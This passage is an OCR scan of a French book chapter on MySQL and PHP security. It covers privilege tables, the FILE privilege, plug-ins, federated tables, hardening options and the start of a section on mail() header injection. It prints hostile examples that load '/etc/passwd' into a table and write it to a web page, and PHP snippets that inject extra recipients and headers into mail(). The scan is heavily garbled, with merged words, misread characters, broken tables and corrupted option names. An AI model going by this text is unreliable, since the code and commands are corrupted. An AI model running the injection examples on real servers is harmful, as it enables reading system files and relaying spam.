Latable db contient les informations d’ acces a une base de données pour un utilisateur
particulier. Aprés avoir vérifié la connexion a I'aide de la table user, MySQL sait s
I utilisateur a des droits d’ accés globaux, ¢ est-a-dire concernant toutes les ressources sur
le serveur. Lorsqu’'un utilisateur est restreint a certaines bases de données seulement,
alors ses droits ne sont pas inscrits dans latable user, mais dans latable db.

Voici lastructure simplifiée de latable db.

mysql> desc db;

o m oo domm e 4ommmm- +
| Field | Type | Null |
Fomm e B R EEE TR ommmm +
| Host | char(60) | NO |
| Db | char(64) | NO |
| User | char(16) | NO |
| Select_priv | enum('N","'Y") | NO |
| Insert_priv | enum('N","'Y") | NO |
| Update_priv | enum('N',"'Y") | NO |
| Delete_priv | enum('N',"'Y") | NO |
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enum('N","'Y")
enum('N',"'Y")
enum('N","'Y")

Create_routine_priv
Alter_routine_priv
Execute_priv

| Create_priv enum('N',"'Y") | NO |
| Drop_priv enum('N',"'Y") | NO |
| Grant_priv enum('N","'Y") | NO |
| References_priv enum('N',"'Y") | NO |
| Index_priv enum('N',"'Y") | NO |
| Alter_priv enum('N',"'Y") | NO |
| Create_tmp_table_priv | enum('N','Y") | NO |
| Lock_tables_priv enum('N","Y") | NO

| |
| |
| |
| |
| |

| |

| |

| |

| |

| |

| |

| |

| |
Create_view_priv | enum('N","Y") | NO
Show_view_priv | enum('N','Y")

| |

| |

| |

+ +

)

Lescolonnes user et host delatable db sont les mémes que danslatable user. MySQL se
sert des valeurs de la table user pour rechercher les mémes dans la table db. S'il trouve
une valeur qui correspond, alorsil utilise les droits ainsi trouvés.

La colonnedb peut contenir des jokers, exactement comme la colonnehost de la
table user. Les mémes recommandations de prudence s appliquent. Ainsi, si vous voulez
autoriser un utilisateur a travailler dans plusieurs bases de données, vous pouvez lui
accorder les droits avec la valeur suivante :

test?

Un utilisateur qui dispose de cette configuration pourra travailler dans les tables test,
testl, test?2, test_oui, test_non, test_auchoix, €tC.

Une particularité de labase db est que lavaleur delacolonne host peut étre vide. Dans ce
cas, MySQL recherchelesdroits danslatable host, al’ aide du nom de la base de données
et del’héte. Si MySQL trouve unetelle ligne, alorsles droits de I’ utilisateur sont définis
comme la combinaison logique des valeurs des tables host €t db.

Dans la pratique, host est rarement utilisée. GRANT et REVOKE ne S’ en servent jamais, ce quii
fait que host ne peut étre remplie que manuellement, viales commandes INSERT classiques.

Gestion des droits

Apres avoir établi l1a connexion avec le serveur, MySQL prend en charge une liste de
droits. La liste compléte couvre a la fois des droits de manipulation des données et
d’ administration du serveur. |Is ont tous un impact sur la sécurité.

Droits sur les données

Les droits de gestion des données sont les plus nombreux. I1s couvrent les manipulations
de données, avec SELECT, INSERT, UPDATE €t DELETE. |Is couvrent également les tables, avec
CREATE TABLE, ALTER TABLE et DROP TABLE ; les bases de données, avec CREATE DATABASE,
DROP DATABASE ; lesvues, les procédures stockées et |es événements.
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Outre laliste ci-dessus, deux autres droits sont a connaitre :

e ALL PRIVILEGES, qui donne un paguet standard de droits pour une utilisation classique
d une base de données : crésation et destruction d' une base, de sestables et de ses données.
Les seuls droits qui sont omis sont le droit de GRANT et de FILE, que nous verrons
plusloin.

* USAGE signifie « aucun droit ». || donne simplement I’ autorisation de se connecter au
serveur et d'utiliser MySQL comme une grosse calculatrice. Aprés connexion, une
commande sans référence a une table fonctionnera, par exemple :

mysql> SELECT 1+1;

Ho---- +
| 1+1 |
H----- +
| 2]
+----- +

1 row in set (0.00 sec)

Cependant, les commandes qui manipulent des données dans | es tables seront inopérantes.
Ce droit est donc pratique pour désactiver rapidement tous les droits d’ un utilisateur,
avant de lui composer une sélection personnalisée.

Droits classiques

Les droits classiques sont généralement donnés al’aide de ALL PRIVILEGES. Ce paquet est
pratique pour un utilisateur standard qui va administrer ses données et sestables : comme
on ne peut pas anticiper les besoins et les requétes, il s agit d’ un paquet complet.

Pour un site web, la pratique idéale est de configurer un utilisateur pour chague requéte ou
transaction. Par exemple, si un script PHP a besoin de rechercher des données dans une
table et de noter larecherche dans une deuxiemetable, I’idéal est de créer un utilisateur qui
ait lesdroits de SeLECT dans latable de contenu et le droit d’ INSERT dans latable de logs.

De cette maniere, les injections sont pour la plupart rendues impossibles : en dehors de
ces tables et des opérations spécifiques, aucune commande manipulée ne sera autorisée

par MySQL.

Toutefois, cela ne protége pas les tables pour lesquelles les droits sont octroyés: ici, la
table de contenu peut faire I’objet d’une injection, comme un déni de service ou un
contournement de clause WHERE.

De plus, cette technique complique considérablement la gestion des scripts web et la
configuration du serveur SQL., sans compter la surcharge que peut entrainer la manipulation
de centaines de droits et d’ utilisateurs. Par conséquent, une application web dispose d’un
utilisateur SQL spécifique, avec des droits assez étendus.

Une approche plus raisonnable consiste a utiliser deux comptes différents, en plus d'un
compte d’ administrateur distinct. Les opérations web sont plus souvent des opérations de
lecture que d' écriture. |1 est alors intéressant d’ avoir un utilisateur pour leslectures et un
autre pour les écritures.
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Cette approche reste simple et permet également d’ aborder plus facilement les évolutions
du serveur SQL vers un systeme de réplication ou d’ équilibrage de charge. Pour MySQL,
laréplication se configure genéralement avec un utilisateur qui se branche sur le maitre
pour y envoyer les commandes en écriture, et un utilisateur qui se branche localement
pour exécuter les commandes de lecture.

Finalement, il faut prendre en compte les besoins d’ évolution, |e cloisonnement sécurisé
des utilisateurs et la simplicité d’ administration d'un tel systeme. Prenez cette liste de
questions et utilisez-la pour définir vos différents comptes.

» Est-il pertinent de séparer écriture et lecture ? Si la réplication ou une architecture
évolutive est envisagee, créez deux comptes séparés.

 Est-ce queles manipulations sont confinées dans une ou quel ques base(s) de données ?
Si oui, aors donnez des droits uniquement pour les bases de données impliquées et
excluez les autres.

» Est-ce que le modéle de données est stable ? Si les tables sont créées par un processus
séparé de |’ application web, supprimez les droits de gestion des tables aux utilisateurs web.

Droit de fichiers

Parmi tous ces droits MySQL de manipulation de données, le droit de FILE est probablement
celui qui est e plus dangereux au niveau de la sécurité.

Il permet de lire des fichiers dans le systéme de fichiers pour les importer en base de
données. Il permet aussi d exporter les données d'une requéte vers un fichier externe.
Dans le premier cas, on peut se servir de la commande LOAD DATA pour accéder a un
fichier et le charger en base, d' ou il pourra étre lu ou exporté encore ailleurs. Avec la
commande SELECT .. INTO OUTFILE, on peut créer un fichier avec les donnéesissues de labase.

mysql> CREATE TABLE “fichiers™ (
“fichier™ TEXT,
) ENGINE=MyISAM DEFAULT CHARSET=latinl ;
mysq1> LOAD DATA INFILE '/etc/passwd' INTO TABLE fichier
mysql> SELECT * FROM fichier INTO OUTFILE '/home/user/www/web/index.html' ;

Enfin, lacommande LoAD DATA autorise le chargement defichierslocaux au client MySQL, et
non plus au serveur. Autrement dit, avec une commande telle que L0AD DATA LOCAL, C’est
le client qui va puiser les données sur sa machine. La documentation MySQL prévient
gu’ avec un serveur modifié, on peut utiliser cette commande pour demander au client de
charger n'importe quel fichier et le transmettre au serveur.

Apres ce tableau brossé de maniére particulierement sombre, il faut savoir que MySQL a
mis en place une politique par défaut qui protége le systéme contre ce type de perturbation.

* |l est possible de désactiver e chargement de fichiers distants au moment de lacompi-
lation du serveur et du client avec |’ option --enable-Tocal-infile, au moment du lance-
ment du serveur et du client avec |’ option --1ocal-infile=0, Ou encore dynamiquement
avec lavariable LOCAL_INFILE et le droit SUPER :

mysql> set global LOCAL_INFILE=0;
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» S le chargement distant est désactivé sur le client ou le serveur, la commande échouera,
méme si |’ autre programme autorise ces chargements.

* MySQL ne peut lire que les fichiers en accés universel, ainsi que les fichiers MySQL .
Cela protége un grand nombre de données, notamment les fichiers du systéme. En
revanche, cela signifie que les fichiers de données MySQL sont accessibles depuis le
serveur : en connaissant les chemins de stockage des données, il est donc possible de
contourner e systéme de droits de MySQL, et de charger les données d’ une table dans
une base de données interdite, en passant par LOAD DATA.

* MySQL écrit dans n’importe quel dossier pour lequel il dispose des droits d’ écriture.
Toutefais, le serveur refuse d écraser ou de modifier un fichier existant.

e Leserveur MySQL écrit laou il le peut, en s attribuant le fichier. Lorsque vous créez
un export depuis MySQL, les fichiers ne vous appartiendront pas, mais vous pourrez y
accéder en lecture. |l faudra des droits de super-utilisateur pour les supprimer.

» Une solution pour contourner ce probléme est d' utiliser le client MySQL en ligne de
commande, ou bien mysq1dump, cOmme Ceci :

mysql -u utilisateur -pMotDePasse -D base -B --skip-column-names -e 'SELECT
=* FROM table;' | bzip2 > table.txt.bz2
mysqldump -u utilisateur -pMotDePasse -D base table > table.sql

Ledroit de FILE illustre clairement I'importance de faire tourner le serveur MySQL avec
un utilisateur systéme qui n’ est pas le super-utilisateur du serveur : ce dernier aurait alors
acces a de nombreux fichiers vitaux pour le fonctionnement du serveur, en écriture
comme en lecture.

Droits d’administration de MySQL

MySQL dispose de cing droits pour gérer I”administration du serveur. Evidemment, ces
droits doivent étre distribués avec beaucoup de prudence, de maniére aréduire autant que
possible les risques.

Droits de I'administrateur

Pour les quatre premiers droits, il est facile de comprendre qu’ils doivent rester |’ apanage
de I'’administrateur :

* RELOAD recharge différentes ressources, comme les droits, les threads, les tables, les
logs, les statuts. Ce rafraichissement est important pour prendre en compte des modi-
fications dans I" organisation, comme nous |’ avons vu pour les droits. Toutefois, cela
représente un co(t important pour le serveur, en termes de nettoyage de ressources et
d’alocation : il vaut mieux ne pas en abuser.

* SHUTDOWN éteint tout simplement le serveur. Il N’y a pas de droit de STARTUP, pour un
simple probleme de poule et d’ cauf : e serveur ne pourrait pas recevoir la commande
qui lelance.
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* PROCESS liste tous les processus, et surtout ceux qui n’appartiennent pas a I’ utilisateur
courant. |l est toujours possible aun utilisateur de voir et terminer ses propres processus.

e SUPER permet de terminer des processus avec la commande KILL. Vous n'avez pas
besoin du droit de processus pour tuer des processus, mais cela sera plus pratique pour
lesidentifier.

Droit de donner les droits

Le cinquiéme droit est GRANT. Ce dernier donne |’ autorisation a la personne qui en est
munie d’ attribuer a d' autres utilisateurs les droits qu’ elle possede, y compris le droit de
GRANT lui-méme. Cela permet notamment a deux utilisateurs de combiner leurs droits
d’acceés pour augmenter significativement leur maitrise du serveur.

L aspect viral du droit de GRANT est donc a surveiller tout particulierement.

Cas particuliers des droits

Le systéme de droits de MySQL présente trois limitations pratiques qui soulévent souvent
des questions, notamment pour les administrateurs qui proviennent d' autres SGBDR :

* |l n'est paspossible dedissocier lesdroits destables des droits des bases. Un utilisateur qui
possede les droits pour créer des tables dans une base, peut aussi détruire et recréer
cette base en entier.

|l n'est pas possible de bloquer explicitement un utilisateur. On ne peut pas indiquer a
MySQL qu’un héte ne peut jamais se connecter. Cela se fait par défaut : si un hote ne
dispose d’ aucune information dansuser, host ou db, alorsil ne pourra pas se connecter.

 Ladestruction d’ une base de données ou d’ unetable n’ entraine pas la suppression d’ un
droit. Si vous donnez les droits de bases de données a un utilisateur, ce dernier pourra
détruire sa base de données et la recréer autant qu'il le souhaite. Ses droits ne seront
pas révoqués lors de la disparition de la base. C’ est un comportement qui est différent
des autres bases de données et qui surprend bon nombre d’ administrateurs aguerris sur
d autres technologies.

Configuration MySQL

L es aspects de sécurité de MySQL se configurent lors du démarrage du démon mysqid, ou
alors dynamiquement, durant |’ exécution du serveur, avec lacommande SET GLOBAL.

Compilation

Il Ny apas d’ option particuliére de sécurité au moment de la compilation. Assurez-vous
simplement que les fichiers téléchargés sont bien les fichiers Iégitimes de MySQL, a
I"aide de la somme de contréle MD5.
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Méme avec un coaur mysq1 standard, il existe plusieurs moyens d’ étendre les fonctionna-
litésde MySQL.

Moteurs de tables

MySQL dispose d’ un systeme de stockage modulaire : le serveur se charge d' analyser la
requéte SQL et de la convertir en commande, mais il délegue le stockage des données a
des modules, appelé moteurs de tables. Il y en ade plus en plus: MylSAM (par défaut),
InnoDB, Falcon, Cluster MySQL, Federated, Blackhole, etc.

Les moteurs de tables sont compilés avec MySQL et leur liste est identifiée avec la
commande SHOW VARIABLES :

mysq1> SHOW VARIABLES LIKE 'have %';
oo m oo ommmme- +

| Variable_name | Value |
ST R PR EEnEETEEE +
| have_archive | YES |
| have_bdb | NO |
| have_blackhole_engine | NO |
| have_compress | YES |
| have_crypt | YES |
| have_csv | YES |
| have_dynamic_loading | YES |
| have_example_engine | NO |
| have_federated_engine | YES |
| have_geometry | YES |
| have_innodb | YES |
| have_isam | NO |
| have_merge_engine | YES |
| have_ndbcluster | DISABLED |
| have_openss] | DISABLED |
| have_query_cache | YES |
| have_raid | NO |
| have_rtree_keys | YES |
| have_symlink | YES |
Hmmm oo R RnEEEEE +
19 rows in set (0.00 sec)

Les lignes marquées No indiquent que le moteur est indisponible: c'est ici le cas des
tables ISAM. Les lignes marquées DISABLED indiquent que le moteur est compilé avec
MySQL, mais qu'il a été désactivé au démarrage. Il peut étre activé en redémarrant le
serveur, avec |’ option adéquate. Par exemple, le cluster peut étre activé avec |’ option
--with-ndbcluster. Enfin, leslignes marquées es indiquent un moteur disponible et activé.

Moteurs de tables a la volée

A partir de MySQL 5.1, un systéme de moteurs de table dynamique est disponible. 11 est
donc possible de charger un nouveau moteur de table durant I’ exécution du serveur. Cela
se fait avec une commande comme celle-ci :

mysq1> INSTALL PLUGIN ha_example SONAME 'ha_example.so';
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Le moteur detable s appelleici ha_example et labibliotheque partagée qui le compléte est
ha_example.so. Cette bibliotheque doit étre stockée dansle dossier de plug-in de MySQL.

Pour désinstaller un plug-in, il existe lacommande inverse:
mysql> UNINSTALL PLUGIN ha_example;

Ainsi, lacommande INSTALL PLUGIN représente un bon moyen pour un pirate de modifier
les fonctionnalités du serveur MySQL. Pire, s'il est capable de charger une bibliotheque
dynamique sur le serveur, il pourraaussi exécuter son propre code.

Actuellement, depuis la version 5.1.14, il faut avoir les droits d'insertion dans la table
plugin delabase mysql pour pouvoir exécuter cette commande. De plus, la bibliotheque
doit étre placée dans le dossier de plug-in de I’installation MySQL. Cela devrait assurer
un niveau de sécurité suffisant.

A I’avenir, il faudra surveiller cette interface et les autorisations de latable plug in.

Un moteur réseau : federated

Le moteur federated a €té gjouté en MySQL 5.0. |l se connecte a distance sur un autre
serveur SQL, MySQL ou autre, et relaie les commandes depuis le serveur local vers le
serveur distant, pour exécution. Les données obtenues sont alors rapatriées et affichées
localement.

Le moteur federated ouvre donc le serveur local ades serveurs distants. Du point de vue
de la sécurité, les problémes qui surgissent sont de deux natures.

* Premierement, il est maintenant possible d’ accéder aux données d’ une table fédérée en
attaguant le serveur qui y accede. Si le serveur A dispose d'une table fédérée sur le
serveur B, aors une vulnérabilité dansA rendra B vulnérable, d'autant qu'il est
possible d obtenir les informations de connexion a une table fédérée viala commande
SHOW CREATE TABLE.

mysql> show create table federee;
oo o +

| table | CREATE TABLE “federee™ (
| “colonne™ int(10) unsigned NOT NULL

ENGINE=FEDERATED DEFAULT CHARSET=Tlatinl
| CONNECTION="mysq1://utilisateur:secret@192.168.123.146:3306/base/table" |
+o-mmo - e e e oo +

1 row in set (0.02 sec)

Le nom d' utilisateur, le mot de passe et I"h6te du serveur distant apparaissent en clair
dans la description de la table. Comme précédemment, la meilleure stratégie sera de
limiter I’ accés d'un utilisateur de table fédérée aux seules tables qu’il est censé mani-
puler, afin de limiter les conséquences en cas de compromission de |’ acces.

» Deuxiemement, un serveur qui dispose des tables fédérées est maintenant capable
d’ accéder ades serveurs distants. On peut donc se servir du serveur courant pour tenter

157
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d’ accéder ad' autres hotes, tout en masquant ses proprestraces. En effet, avec unetable
fédérée, c'est le serveur MySQL qui se connecte, et non plus I’ utilisateur MySQL.
Dans la mesure ou elles ne sont pas utilisées, il est recommandé de ne pas activer les
tables fédérées par défaut.

Procédures stockées

L es procédures stockées présentent des risques de sécurité semblables aux commandes SQL
classiques. Il est possible de rédliser les mémes commandes via une procédure (ou fonction)
stockée, qu’ avec une transaction ou un ensemble de commandes SQL : effacement, déni
de service, modification, etc.

La sécurité des procédures stockées provient du fait que les auteurs de ces procédures
sont généralement des humains et non pas des scripts. Ces fonctionnalités sont donc vali-
dées avant d’étre implémentées. Le corollaire de cette constatation est donc qu'il faut
éviter de donner les droits de création des procédures stockées aux utilisateurs web, mais
les cantonner aux droits d’ exécution de ces fonctions.

L es procédures stockées sont régies par deux types de droits : les droits de création et les
droits d’ exécution. Les premiers couvrent la création, la modification et I’ effacement de
la procédure, avec les droits CREATE ROUTINE et ALTER ROUTINE. Ce sont des commandes
administratives. |l est recommandé de ne pas | es distribuer trop facilement.

Le deuxiéme jeu de droits couvre I’ exécution. C'est le droit d’ EXECUTE, qui peut étre global,
ou limité atoutes les procédures stockées associées a une base de données spécifique, ou
encore limité a une seule procédure particuliére.

Pour I’ exécution, un deuxiéme jeu de droits intervient. A la création, la procédure est
configurée pour utiliser les droits de I’ auteur, DEFINER, ou de |’ appelant, INVOKER.

» Avec le niveau de sécurité INVOKER, la procédure stockée va s exécuter en utilisant les
droits dont dispose I’ utilisateur qui appellelaprocédure. Si la procédure intervient sur
unetable qui n’est pasaccessibleal’ utilisateur qui S en sert, lacommande varetourner
une erreur de droit classique.

» Avec le niveau de sécurité DEFINER, la procédure stockée va s' exécuter avec les droits
dont dispose I’ auteur de la procédure. Cela peut donner acces a certaines tables que
I’ utilisateur appelant ne peut atteindre autrement.

Dans la définition des procédures stockées, c’est la clause saL SECURITY qui indique le
niveau de sécurité utilisé. Par défaut, c'est le droit de |’ auteur qui est pris en compte.

Outre les procédures stockées, les déclencheurs, aussi appelés triggers, permettent
d'installer des opérations automatiques sur le serveur, de maniére totalement transparente
pour les utilisateurs. Un déclencheur qui copie des valeurs lors de I'insertion dans une
table vers une autre table, ou une table fédérée est assimilable a un espion.

Il faut donc surveiller les droits liés aux procédures stockées. L’ autorisation d’ exécution
peut étre assez souple, mais la création doit étre surveillée de pres.
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Interface modulaire de MySQL

MySQL a mis au point différents systémes pour gjouter des fonctionnalités au serveur
sanstoucher alastructurede cedernier : il s agit des UDF &, danslesversions plus récentes,
des plug-ins.

Fonctions des utilisateurs : UDF

UDF signifie User Defined Functions. Les UDF sont des fonctions supplémentaires
développées en C. Elles peuvent étre compilées avec MySQL ou bien séparément puis
ajoutées dynamiquement au serveur en fonctionnement. A partir del3, elles sont incluses
dans la bibliothéque standard de MySQL et s utilisent comme n’importe quelle autre
fonction MySQL.

Les UDF chargées dynamiquement posent les mémes problémes de sécurité que les plug-ins
ou les moteurs de table, puisqu’il s agit d’objets fusionnés avec le serveur a partir de
commandes issues du client.

Modules et plug-ins MySQL

Les plug-ins de MySQL sont les héritiers des UDF. Ils sont disponibles a partir de
MySQL 5.1. Il est prévu qu'ils remplacent définitivement les UDF. Pour la version 5.1,
les plug-ins ont des applications pour les analyseurs de texte intégral et devraient
progressivement gagner le reste du serveur.

Actuellement, il faut avoir les droits d'insertion dans latable mysq1.plug-in pour pouvoir
charger et décharger un nouveau plug-in. L'interface des modules dynamiques est en
développement prioritaire pour la version 5.1 et devrait évoluer dans les prochaines
versions de MySQL. L es aspects sécurité sont encore difficiles acerner, maisil faudrales
surveiller de prés.

Les précautions d’ usage sont les mémes que pour les modules de tables chargés dynami-
guement.

Directives de configuration

Voici une liste d' options de configuration pour MySQL permettant de renforcer la sécurité.
Laliste est divisée en deux catégories : une pour le serveur et une autre pour le client.

Options de configuration pour le serveur

e --local-infile=0 interdit e chargement de fichiers provenant du client dans le serveur.
Lorsgu’ elle est désactivée, cette option impose que les fichiers chargés soient sur le
systéme local pour étre lus. Il est recommandé de |a désactiver.

e --old-password force I’ utilisation de I’ ancien systéme de mots de passe de MySQL. Il
est moins sécurisé que le nouveau, qui aétéintroduit en version 4.1. Danslamesure du
possible, évitez cette option.
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--secure-auth est le contraire de --o1d-passwords : cette option interdit les connexions
qui utilisent I’ ancienne méthode d’identification, moins sécurisée. |l est recommandé
del’ utiliser.

--port=n : par défaut, le port est le 3306. C’est une bonne pratique que de le changer
pour une autre valeur, afin de ne pas utiliser une configuration par défaut. Il faut alors
préciser le nouveau port atous les clients qui se connectent.

--safe-user-create : UN utilisateur peut créer un autre utilisateur avec le droit de GRANT
s'il dispose du droit d’insertion danslatable mysq1.user. Cela g oute une protection de
pluslorsdel’ utilisation de ce type de droits.

--skip-grant-tables désactive les tables de droits MySQL et désactive ainsi tout le
systéme de droits. Cette option est utile pour reprendre la main sur un serveur dont on
a perdu les acces, mais représente un moyen facile pour contourner les défenses du
serveur. Il faut alors que les utilisateurs systéme (pas MySQL), qui sont capables
d’arréter le serveur et de le relancer, soient des utilisateurs de confiance. Cette option
ne sert que dans les cas d’ urgence, pour reprendre la main sur un serveur dont on a
perdu I’ accés.

--skip-name-resolve désactive larésolution de noms et force I’ utilisation des adresses |P
pour réaliser les identifications d' hdte via le réseau. Cette mesure est plus stricte que
lorsgue les noms de domaines sont awttorisés, puisque ces derniers sont plus complexes et
peuvent étre reconfigurés d’ une IP al’ autre. Lorsque ¢’ est possible, utilisez cette option.

--allow-suspicous-udf contrble le chargement des bibliothéques externes qui posse-
dent uniquement un xxx comme fonction principale. Par défaut, MySQL vérifiequ'il y
aau moins un symbole auxiliaire disponible, ce qui évite de charger des bibliothégques qui
ne sont pas faites pour servir d UDF dansle serveur. || est recommandé de la désactiver.

--chroot : leserveur mysqld est enfermé dans une partie du systéme defichiersal’ aide
de la commande systéme chroot (). Cela garantit que MySQL ne pourra pas accéder aux
fichiershorsd' un dossier bien défini, lors de son utilisation des ressources du systéme.

--open-files-1imit limite le nombre de pointeurs de fichiers que MySQL utilise. Si
cette valeur vaut 0, mysqld calcule une limite assez généreuse, en fonction de votre
systéme. Sinon, il prend lavaleur fournie. Cette valeur doit laisser la place au systéme
pour fonctionner sans étre perturbé par MySQL.

--skip-networking désactive les interfaces réseau de MySQL. Si votre serveur n’est
utilisé que localement, cela ferme toutes les portes d'acces direct au serveur via le
réseau. Il est alors recommandé de I’ utiliser.

Options de configuration pour le client

Ces options sont a spécifier lors du lancement du client mysq1, ou bien lors de I'initialisa-
tion de la bibliotheque.

e --safe-updates OU -U (aussi appelée: --1-am-a-dummy) interdit les commandes UPDATE et

DELETE qui ne comportent pas de clause WHERE. La variable dynamique qui pilote cette
directive est SQL_SAFE_UPDATES.
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» --secure-auth interdit |’ envoi du mot de passe avec I’ ancien systémed’ identification de
MySQL (avant v4.1), qui était moins sécurisée. Celainterdit la connexion aux vieilles
installations et aux serveurs utilisant I’ option --o1d-password.

e --select_1imit=1000 limite la sélection de lignes a1 000. Toutes les sélections plus
grandes seront automatiquement tronquées. La variable dynamique qui pilote cette
directive est sqL_SELECT_LIMIT. Attention : avec une valeur 0, plus aucune sélection de
données ne sera possible.

e --max_join_size=1000000 limite lataille des jointures a un million de lignes. L’ optimi-
seur MySQL commence par analyser larequéte et établit une estimation du nombre de
lignesqu’il vadevair traiter. Si I’ estimation dépasse un million delignes, lajointure est
annulée. Lavariable dynamique qui pilote cette directive est saL_MAX_JOIN_SIZE . Cette
variable est pratique pour éviter les dénis de service par jointure.

Limiter les consommations

MySQL dispose de plusieurs limitations de consommation de ressources. Elles sont
rangées dans latable user de MySQL :

EGREEEE TR EE R PR Ho---o- +
| Field | Null |
R Ho--mo- +
| max_questions | NO |
| max_updates | NO |
| max_connections | NO |
| max_user_connections | NO |
mmmm o Ho---- +

* max_connections indique le nombre maxima de connexions qu’un utilisateur peut
établir avec son compte durant une heure. Si cette valeur est dépassée, I’ utilisateur sera
interdit d’ acces jusqu’alafin del’heure. La notion d heure est glissante.

 max_user_connections indique le nombre maximal de connexions simultanées d'un
utilisateur avec son compte. C'est une valeur qui peut poser des problémes dans un
environnement ou des connexions simultanées peuvent étre fréquemment ouvertes,
comme avec un site web. Cette option est nouvelle depuis MySQL 5.0.

* max_questions représentele nombre maximal de commandes qui peuvent étre soumises
au serveur MySQL en une heure. Celainclut les commandes SELECT.

* max_updates représente le nombre maximal de modifications qui peuvent étre effec-
tuées sur le serveur MySQL en une heure. Celainclut les commandes UPDATE et INSERT,
mais pas DELETE.

Par défaut, ces limitations sont désactivées avec lavaleur 0.






Partie 4

Mesures de securite
pour les technologies
connexes

Les pages de votre application web feront parfois appel a d autres technologies que
PHP et MySQL. Il est important de remettre votre code dans e contexte plus général
du serveur qui I” héberge et de sécuriser également toutes ces interactions.

L e chapitre 9 vous expliquera comment sécuriser | utilisation du courrier électronique,
les interactions avec le systeme de fichiers et le systéme d’ exploitation, ainsi que les
appels au réseau depuis PHP. Vous trouverez également des consells quant alastructure
de votre application.

L e chapitre 10 présentera des techniques plus globales de lutte contre | es nuisances de
toutes sortes (attague par force brute, phishing, dénis de service) par la gestion des mots
de passg, |e chiffrement et lasignature, I’ utilisation de « pots de miel » ou de CAPTCHA.

Le chapitre 11 enfin vous précisera comment mener a bien un audit de sécurité.






Mesures de sécurité
cOté serveur

Intéressons-nous maintenant aux technologies connexes, qui résident elles aussi sur le
serveur. Elles sont souvent accessibles depuis PHP ou MySQL, que ce soit pour une
fonctionnalité, comme I’ envoi de courrier éectronique, ou parce qu’ elles partagent des
espaces communs, comme le systéme de fichiers. |l faut donc que PHP et MySQL agissent
en bons citoyens et protégent les ressources qu’ils utilisent.

Courrier électronique

Envoyer des messages €lectroniques depuis PHP a toujours été une des fonctionnalités
préférées des utilisateurs. Que ce soit pour une alerte, pour exporter facilement desinfor-
mations ou simplement pour S'insérer dans le processus quotidien de travail, c’'est un
outil redoutable... au méme titre que le spam, qui en est indissociable.

Pourriel

PHP propose une fonction d’envoi de courrier électronique (ou courriel), grace a la
fonction mai1(). Cette derniére s'interface avec le service SMTP (Simple Mail Transfer
Protocol) interne du systéme et lui transmet |e message a envoyer.

Si lafonction mai1() aété désactivée, PHP est aussi capable d’ ouvrir une connexion avec
un serveur SMTP externe et bienveillant, via les fonctionnalités de socket ou de fichiers
avec fopen(). Des bibliothéques d’envoi de courrier électronique sans I'aide de mai1()
ont été créées pour contourner les limitations que certains hébergeurs avaient mises
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en place en interdisant cette fonction dangereuse. C'est le cas de PHPMailer,
http://phpmailer.sourceforge.net/.

Un serveur web qui expose publiquement sa fonctionmai1() devient rapidement leur
proie: ils s'en servent comme relais pour envoyer des flots incroyables de courrier indé-
sirable, encore appelé pourriel ou spam. |1s peuvent réaliser tranquillement leurs méfaits,
car ils savent que C'est votre serveur qui apparait comme un zombie, et non pas le leur.
Rapidement, votre machine est enregistré dans les listes noires de type spamhaus (http: /
/www.spamhaus.org) €t vous ne pouvez plus du tout envoyer de courrier électronique,
méme parfaitement |égitime.

Il faut donc particuliérement veiller aux abus de lafonction mai1().

Injections dans le courrier électronique

Lesinjections de courriers fonctionnent sur le méme principe que lesinjections SQL : al’aide
de valeurs spéciales, on peut détourner le courrier éectronique de son utilisation prévue.

Les injections utilisent la possibilité de modifier les en-tétes de courrier, qui assurent le
routage des messages. Pour cela, ellesinserent des virgules ou des retours alaligne.

Avec une virgule

Lafonctionmail() permet d’'envoyer plusieurs messages d’un seul coup. Dans une liste
de destinataires, les adresses éectroniques sont séparées par des virgules. En injectant
des virgules dans I’ adresse d’ envoi, il est donc possible d’envoyer plusieurs courriers
électroniques. Voici un exemple d’injection de destinataires :

<{?php

$_GET['destinataire'] = 'courriell@site.com, courriel2@site.com, courriel3@site.com' ;
mail($_GET['destinataire'], 'titre', sujet') ;

¥

Injections d’en-téte de courrier électronique

L autre méthode pour réaliser une injection dans un courrier consiste a utiliser le quatrieme
argument de mai1(). Ce dernier est fait pour ajouter des en-tétes arbitraires, qui ne sont
pas nécessaires amail() pour fonctionner, mais apportent des fonctionndités intéressantes :
par exemple Bcc, qui met des adresses en copie cachée, ou Reply-To, qui configure I’ adresse
de retour sur erreur.

Dans la pratique, il est possible d’ envoyer un message sans ces en-tétes. sendmail ne les
indiquera tout simplement pas dans le message final. En fait, le nombre d’ en-tétes possible
est trés grand. Pour que lafonctionmai1() n'ait pas a supporter des dizaines d’ arguments
optionnels, toutes ces options passent par |e quatriéme argument.

Lafigure 9-1 présente une utilisation classique du quatriéme argument, pour envoyer un
message au webmestre du serveur. Un formulaire web est présenté aux visiteurs et PHP
se charge de formater le message avant de I’ envoyer au responsable.


http://www.spamhaus.org
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Figure 9-1
Exemple typique
de formulaire configurant

un message pour
le webmestre du site

Support

Envoyez un e-mall & ce contact

Entraz votre nom :

Lasttra habdomadains

.5I|'|lllﬂ'l wvotre adresse @-mail |

Suggérer par mi Objet du message :

(Sinserire |

20T e anvaybes Saisissez volre message |
4285 inscrits

mie]ro

o . .
LR :" Recevoir une copie de cet e=mall

[ Ervoyer

T |

|
|E3 Technorati [ Retour]

Afin de gagner en productivité, le courrier éectronique est configuré avec une adresse de
retour, celle du visiteur du site. Le webmestre n’ a plus qu’ arépondre directement, depuis
son client de courrier éectronique:

<?php
$_GET['auteur'] = 'auteur@site.com' ;

mail('webmestre@site.com', 'titre’, 'sujet','Reply-To : '.$_GET['auteur']. " \r\n") ;
>

Ce code est vulnérable & une injection PHP. Pour réaliser une injection de courrier, le
pirate va simplement modifier son adresse de retour pour inclure un nouvel en-téte et une
nouvelleligne:

<?php
$_GET['auteur] = 'auteur@site.com\r\nTo : autre@site2.com’ ;

mail('webmestre@site.com', 'titre’, 'sujet', 'Reply-To : '.$_GET['auteur']. " \r\n") ;
>

Sous cette forme, le webmestre recoit bien le courrier électronique, mais ce dernier est en
fait envoyé a deux personnes : le webmestre et autre@site2.com.

Il est d§ja intéressant de voir que mettre une valeur fixe comme destinataire ne protege
pas contre les détournements de courrier électronique. En travaillant sur le quatriéme
argument, on peut trés bien envoyer un message a de nombreux destinataires.
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Toutefois, cette opération n'est pas neutre et |e webmestre est immédiatement prévenu :
il voit bien dans saliste de destinataires une adresse inconnue, voire plusieurs.

Pour étre plus efficace, le pirate peut aussi utiliser un en-téte de type scc, au lieu de To ou
cC : BCC envoie le message en copie cachée, a des destinataires qui sont masgqués, méme
au destinataire principal. Certes, le webmestre recoit le message du spammeur, mais il
